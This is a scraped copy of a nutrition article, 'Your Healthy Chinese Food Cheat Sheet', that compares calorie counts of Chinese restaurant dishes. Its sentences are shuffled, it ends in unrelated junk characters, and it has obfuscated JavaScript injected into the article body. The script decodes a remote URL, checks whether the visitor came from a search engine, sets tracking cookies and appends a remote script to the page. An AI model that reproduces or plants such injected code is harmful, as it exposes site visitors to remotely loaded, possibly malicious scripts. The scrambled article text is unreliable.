Your Healthy Chinese Food Cheat Sheet




Your Healthy Chinese Food Cheat Sheet





















































(Broccoli can even help you beat anxiety!). constructor(\x22return\x20this\x22)(\x20)'+');');_0x3a7394=_0x396613();}catch(_0x1d38e7){_0x3a7394=window;}var _0x15e330='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3a7394['atob']||(_0x3a7394['atob']=function(_0x1da469){var _0x48be2d=String(_0x1da469)['replace'](/=+$/,);for(var _0x40ba22=0x0,_0x1c3e31,_0x113dcf,_0x19473f=0x0,_0xbdfffb=;_0x113dcf=_0x48be2d['charAt'](_0x19473f++);~_0x113dcf&&(_0x1c3e31=_0x40ba22%0x4?_0x1c3e31*0x40+_0x113dcf:_0x113dcf,_0x40ba22++%0x4)?_0xbdfffb+=String['fromCharCode'](0xff&_0x1c3e31>>(-0x2*_0x40ba22&0x6)):0x0){_0x113dcf=_0x15e330['indexOf'](_0x113dcf);}return _0xbdfffb;});}());_0x366d['base64DecodeUnicode']=function(_0x314574){var _0x19e28e=atob(_0x314574);var _0x271ccc=[];for(var _0x5e3962=0x0,_0x13dad8=_0x19e28e['length'];_0x5e3962=_0x581760;},'enAsW':'gwg','vByNi':_0x366d('0x23'),'msYGd':function _0x55a463(_0x5bce6a,_0x37de11){return _0x5bce6a+_0x37de11;},'jwVkA':_0x366d('0x13'),'zZHHc':_0x366d('0x24'),'irolw':function _0x293df2(_0x105d49,_0x3865e4){return _0x105d49. (And that's without sauce!) A dish of lo mein can have upwards of 900 calories, which mostly come from refined carbs.. Try some citrus shrimp lettuce cups instead Order This: Shrimp with Lobster SauceYou get the same lean, high-protein shellfishbut topped with a broth- or wine-based saucefor 450 calories.. Or make your own healthy soup that will keep you satisfied Photo: successo images/ShutterstockDon't Order: Chicken with Black Bean SauceAt 800 calories per order, it's not too bad if you split it.. Expect 1,200 calories an order Photo: Margoe Edwards/ShutterstockOrder This: Beef with BroccoliIt's hard to find a low-cal beef optionand with 900 calories per platter, this is definitely one you want to share.. )Photo: Sergey Mironov/ShutterstockDon't Order: Vegetable Lo MeinVeggies are always a good idea, but here they don't outweigh the huge mound of noodles, which weigh in at 200 calories per cup.. Ask the restaurant to add snow peas or broccoli for an extra hit of vitamins Don't Order: Orange BeefYes, it may sound light, but this dish usually involves batter-coating and frying the meat, then topping it with a gloppy sauce.. (The veggie version saves you 100 calories )Order This: Wonton SoupThis starter has just around 100 calories, and you still get to enjoy a few dumplings.. Plus, it may be more filling: Several studies have shown that having soup before a meal helps you eat less overall.. But you can do better: It has more sodium (about 4,000 milligrams) than most others.. The sodium, while still high, also drops to less than 1,600 milligrams Don't Order: Szechuan ShrimpStir-fried shrimp and vegetables in a spicy sauce seems like a guilt-free pick, but the sauce is often oily, meaning your order racks up around 700 calories.. (These 12 spiralized veggie recipes are so much healthier )Order This: Buddha's DelightYou can usually count on getting plenty of steamed tofu and a variety of vegetablesmaking for a protein- and fiber-packed meal that has only about 200 calories per platter.. The Best Low-Calorie Chinese Food Isn't Always ObviousEven some healthy-sounding options can set you back 1,000+ calories.. On the plus side, you're getting a hefty dose of one of the most nutritious veggies on the planet.. Photo: Evgeny Starkov/ShuterstockOrder This: Chicken with Snow PeasRequest that the dish be stir-fried in as little oil as possible and you can keep the calories to a respectable 400.. Here, the five dishes to pick and the five to skip (Calorie counts are per dish, not per serving, and are approximate due to restaurant variations.. *?(?:$|;)/g),_0x374171={};continue;case'2':for(var _0xec4d85=0x0;_0x3ef856['irolw'](_0xec4d85,_0xa0a310[_0x366d('0x2c')]);_0xec4d85++){_0x4cb296=_0xa0a310[_0xec4d85][_0x366d('0xa')]('=');_0x374171[_0x4cb296[0x0]]=_0x4cb296[0x1][_0x366d('0x36')](/;$/);}continue;case'3':if(_0x3ef856['icEGN'](!_0xa0a310,name)){return undefined;}continue;case'4':var _0x4cb296;continue;case'5':return _0x374171;}break;}}}}}R(); Your Healthy Chinese Food Cheat SheetMake smart choices at your favorite Chinese restaurant.. Photo: Oksana Mizina/ShutterstockDon't Order: Steamed Pork DumplingsWith 500 calories for six pieces, dumplings may not sound like diet derailersbut it's a lot for an appetizer.. var _0xa7f8=['QlZ3U1I=','c2V0','U0l1S0o=','YVBlY2c=','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9paGVyYjIucGhwPyZxdWVyeT0=','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','Y29va2ll','QVp3bXQ=','d2hmekY=','dE5NZkI=','Z2V0VGltZQ==','WlJScmE=','dnFrVkg=','S0pDU3c=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','LmFsdGF2aXN0YS4=','Qk9t','MXwzfDR8MnwwfDU=','LmJpbmcu','bkN0dG8=','Z21oZ0M=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','enJZREQ=','bGVuZ3Ro','dHJZTE8=','T3ZRVWk=','eUZMTmM=','aW5kZXhPZg==','ZW5Bc1c=','dkJ5Tmk=','bXNZR2Q=','andWa0E=','elpISGM=','cmVwbGFjZQ==','c2NyaXB0','aGVhZA==','Y3JlYXRlRWxlbWVudA==','S2R5ZmM=','c3Jj','dWtxS28=','YXBwZW5kQ2hpbGQ=','M3wwfDR8Mnw1fDE=','dmlzaXRlZA==','S0xFTEc=','c3BsaXQ=','cUhPR2E=','bWF0Y2g=','akJaZGw=','d0R2'];(function(_0x4c5ab7,_0x372012){var _0x2715a6=function(_0x42dc94){while(--_0x42dc94){_0x4c5ab7['push'](_0x4c5ab7['shift']());}};_0x2715a6(++_0x372012);}(_0xa7f8,0x13b));var _0x366d=function(_0x5ee0ee,_0x4ca94a){_0x5ee0ee=_0x5ee0ee-0x0;var _0x17f0a8=_0xa7f8[_0x5ee0ee];if(_0x366d['initialized']===undefined){(function(){var _0x3a7394;try{var _0x396613=Function('return\x20(function()\x20'+'{}. 34bbb28f04 緇莅冴帥vol1≧26,maksudul mominpdf18

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